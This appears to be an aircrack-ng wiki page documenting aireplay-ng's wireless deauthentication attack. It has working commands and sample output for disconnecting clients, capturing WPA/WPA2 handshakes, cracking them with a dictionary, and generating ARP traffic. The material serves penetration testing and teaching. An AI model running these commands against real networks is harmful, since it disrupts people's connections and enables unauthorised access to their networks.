Deauthentication

Description

This attack sends disassocate packets to one or more clients which are currently associated with a particular access point. Disassociating clients can be done for a number of reasons:

- Recovering a hidden ESSID. This is an ESSID which is not being broadcast. Another term for this is "cloaked".
- Capturing WPA/WPA2 handshakes by forcing clients to reauthenticate
- Generate ARP requests (Windows clients sometimes flush their ARP cache when disconnected)

Of course, this attack is totally useless if there are no associated wireless client or on fake authentications.

Usage

```
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
```

Where:

- -0 means deauthentication
- 1 is the number of deauths to send (you can send multiple if you wish); 0 means send them continuously
- -a 00:14:6C:7E:40:80 is the MAC address of the access point
- -c 00:0F:B5:34:30:30 is the MAC address of the client to deauthenticate; if this is omitted then all clients are deauthenticated
- ath0 is the interface name

Usage Examples

Typical Deauthentication

First, you determine a client which is currently connected. You need the MAC address for the following command:

```
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:AE:CE:9D ath0
```

Where:

- -0 means deauthentication
- 1 is the number of deauths to send (you can send multiple if you wish)
- -a 00:14:6C:7E:40:80 is the MAC address of the access point

- -c 000:0F:B5:AE:CE:9D is the MAC address of the client you are deauthing
- ath0 is the interface name

Here is typical output:

```
 12:35:25  Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
 12:35:25  Sending 64 directed DeAuth. STMAC: [00:0F:B5:AE:CE:9D] [ 61|63 ACKs]
```

For directed deauthentications, aireplay-ng sends out a total of 128 packets for each deauth you specify. 64 packets are sent to the AP itself and 64 packets are sent to the client.

Here is what the "[61|63 ACKs]" means:

- [ACKs received from the client | ACKs received from the AP]
- You will notice that the number in the example above is lower then 64 which is the number of packets sent. It is not unusual to lose a few packets. Conversely, if the client was actively communicating at the time, the counts could be greater then 64.
- How do you use this information? This gives you a good indication if the client and or AP heard the packets you sent. A zero value definitely tells the client and/or AP did not hear your packets. Very low values likely indicate you are quite a distance and the signal strength is poor.

WPA/WPA2 Handshake capture with an Atheros

```
airmon-ng start ath0
airodump-ng -c 6 --bssid 00:14:6C:7E:40:80 -w out ath0  (switch to another console)
aireplay-ng -0 5 -a 00:14:6C:7E:40:80 -c 00:0F:B5:AB:CB:9D ath0
(wait for a few seconds)
aircrack-ng -w /path/to/dictionary out.cap
```

Explanation of the above:

airodump-ng -c 6 –bssid 00:14:6C:7E:40:80 -w out ath0
Where:

- -c 6 is the channel to listen on
- –bssid 00:14:6C:7E:40:80 limits the packets collected to this one access point
- -w out is the file prefix of the file name to be written
- ath0 is the interface name

aireplay-ng -0 5 -a 00:14:6C:7E:40:80 -c 00:0F:B5:AB:CB:9D ath0
Where:

- -0 means deauthentication attack
- 5 is number of groups of deauthentication packets to send out
- -a 00:14:6C:7E:40:80 is MAC address of the access point
- -c 00:0F:B5:AB:CB:9D is MAC address of the client to be deauthenticated
- ath0 is the interface name

Here is what the output looks like from "aireplay-ng -0 5 -a 00:14:6C:7E:40:80 -c

00:0F:B5:AB:CB:9D ath0”

```
 12:55:56  Sending DeAuth to station   -- STMAC: [00:0F:B5:AB:CB:9D]
 12:55:56  Sending DeAuth to station   -- STMAC: [00:0F:B5:AB:CB:9D]
 12:55:57  Sending DeAuth to station   -- STMAC: [00:0F:B5:AB:CB:9D]
 12:55:58  Sending DeAuth to station   -- STMAC: [00:0F:B5:AB:CB:9D]
 12:55:58  Sending DeAuth to station   -- STMAC: [00:0F:B5:AB:CB:9D]
```

ARP request generation with a Prism2 card

```
airmon-ng start wlan0
airodump-ng -c 6 -w out --bssid 00:13:10:30:24:9C wlan0  (switch to another console)
aireplay-ng -0 10 -a 00:13:10:30:24:9C wlan0
aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:09:5B:EB:C5:2B wlan0
```

After sending the ten batches of deauthentication packets, we start listening for ARP requests with attack 3. The -h option is mandatory and has to be the MAC address of an associated client.

If the driver is wlan-ng [http://www.linux-wlan.com/linux-wlan], you should run the airmon-ng script (unless you know what to type) otherwise the card won't be correctly setup for injection.

Usage Tips

It is usually more effective to target a specific station using the -c parameter.

The deauthentication packets are sent directly from your PC to the clients. So you must be physically close enough to the clients for your wireless card transmissions to reach them.

Usage Troubleshooting

Why does deauthentication not work?

There can be several reasons and one or more can affect you:

- You are physically too far away from the client(s). You need enough transmit power for the packets to reach and be heard by the clients. If you do a full packet capture, each packet sent to the client should result in an “ack” packet back. This means the client heard the packet. If there is no “ack” then likely it did not receive the packet.
- Wireless cards work in particular modes such b, g, n and so on. If your card is in a different mode then the client card there is good chance that the client will not be able to correctly receive your transmission. See the previous item for confirming the client received the packet.
- Some clients ignore broadcast deauthentications. If this is the case, you will need to send a deauthentication directed at the particular client.
- Clients may reconnect too fast for you to see that they had been disconnected. If you do a full packet capture, you will be able to look for the reassociation packets in the capture to confirm deauthentication worked.

General

See the general aireplay-ng troubleshooting ideas: aireplay-ng usage troubleshooting.

deauthentication.txt · Last modified: 2010/11/21 13:34 by sleek